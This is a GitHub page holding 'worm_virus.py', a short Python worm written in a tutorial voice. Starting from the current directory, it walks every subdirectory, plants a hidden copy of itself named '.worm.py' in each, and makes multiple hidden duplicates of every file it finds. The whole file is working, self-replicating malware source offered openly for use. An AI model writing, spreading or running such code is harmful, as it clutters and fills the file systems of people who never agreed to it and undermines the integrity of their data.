-
Notifications
You must be signed in to change notification settings - Fork 0
/
worm_virus.py
70 lines (59 loc) · 2.46 KB
/
worm_virus.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import os
import shutil
class Worm:
def __init__(self, path=None, target_dir_list=None, iteration=None):
if isinstance(path, type(None)):
self.path = "/"
else:
self.path = path
if isinstance(target_dir_list, type(None)):
self.target_dir_list = []
else:
self.target_dir_list = target_dir_list
if isinstance(target_dir_list, type(None)):
self.iteration = 2
else:
self.iteration = iteration
# get own absolute path
self.own_path = os.path.realpath(__file__)
def list_directories(self,path):
self.target_dir_list.append(path)
files_in_current_directory = os.listdir(path)
for file in files_in_current_directory:
# avoid hidden files/directories (start with dot (.))
if not file.startswith('.'):
# get the full path
absolute_path = os.path.join(path, file)
print(absolute_path)
if os.path.isdir(absolute_path):
self.list_directories(absolute_path)
else:
pass
# Let's create the method to replicate the worm
def create_new_worm(self):
for directory in self.target_dir_list:
destination = os.path.join(directory, ".worm.py")
# copy the script in the new directory with similar name
shutil.copyfile(self.own_path, destination)
# Method to copy the existing Files
def copy_existing_files(self):
for directory in self.target_dir_list:
file_list_in_dir = os.listdir(directory)
for file in file_list_in_dir:
abs_path = os.path.join(directory, file)
if not abs_path.startswith('.') and not os.path.isdir(abs_path):
source = abs_path
for i in range(self.iteration):
destination = os.path.join(directory,("."+file+str(i)))
shutil.copyfile(source, destination)
# Now let's create a method to integrate everything
def start_worm_actions(self):
self.list_directories(self.path)
print(self.target_dir_list)
self.create_new_worm()
self.copy_existing_files()
# Let's create our main function
if __name__=="__main__":
current_directory = os.path.abspath("")
worm = Worm(path=current_directory)
worm.start_worm_actions()